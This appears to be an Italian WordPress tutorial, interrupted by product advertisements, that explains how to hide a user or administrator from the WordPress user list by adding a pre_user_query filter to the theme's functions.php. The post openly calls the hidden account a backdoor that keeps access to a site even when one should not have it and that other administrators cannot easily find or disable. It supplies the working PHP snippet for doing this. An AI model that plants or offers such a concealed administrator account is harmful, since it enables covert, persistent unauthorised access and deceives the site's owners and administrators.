Nascondere un utente o amministratore dala lista utenti in WordPress
INIU Power Bank, 10000mAh Ultra Sottile & Leggero Ricarica Rapida Powerbank, Caricatore Portatile Porta per iPhone 15 14 13 12 Pro Max Mini Plus Samsung Huawei iPad Pro etc
33% OffPuò capitare che l’amministratore di un sito WordPress abbia l’esigenza di nascondere un determinato utente dalla lista utenti di WP. Un utente che sia quindi normalmente riconosciuto dal sistema ma non visibile a tutti gli altri utenti.
La natura stessa dell’esigenza , in genere dovrebbe escludere l’utilizzo di un plugin che pure esiste… perchè ?!?
Perchè nascondere un utente ( anche o soprattutto amministratore ) dalla lista utenti di WordPress ?
In genere l’utilizzo di un utente nascosto presuppone la volonta di poter effettuare un accesso alla console in modo ” nascosto ” e soprattutto in una modalità che difficilmente possa essere disablitata da altri anche se amministratori.
Apple iPhone 11 Pro 256GB Argento (Ricondizionato)
10% OffIn sostanza una vera e propria BackDoor che ci lasci l’accesso al sito anche quando…non dovremmo averlo !
Proprio per la natura ” border line ” di questa esigenza in genere un plugin non risolve completamente il nostro problema : il plugin è chiaramente visibile e quindi disattivabile o modificabile.
Come nascondere un utente ( anche o soprattutto amministratore ) dalla lista utenti di WordPress ?
Non ci resta che una modifica diretta al codice , modifica che, fortuna per noi, è di facilissima realizzazione.
Si tratta di un piccolo intervento al file funtion.php utilizzato dal nostro tema.
La modifica è la seguente :
- Apriamo l’editor del tema e scegliamo di modificare function.php
- Subito dopo l’apertura <?php inseriamo il codice seguente :
remove_action('welcome_panel', 'wp_welcome_panel');
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'UtenteDaNascondere'",$user_search->query_where);
}
- Ovviamente dovrete cambiare UtenteDaNascondere con il nome utente che desiderate far scomparire dalla lista utenti
Da questo momento l’utente sarà attivo sulla console di WordPress ma non più visibile nella lista utenti.
Dovrete ricordarvi di aggiornare il file Function.php quando e se effettuerete un aggiornamento al tema in uso sul vostro sito WP, aggiornamento che potrebbe ripristinare la versione originale di function.php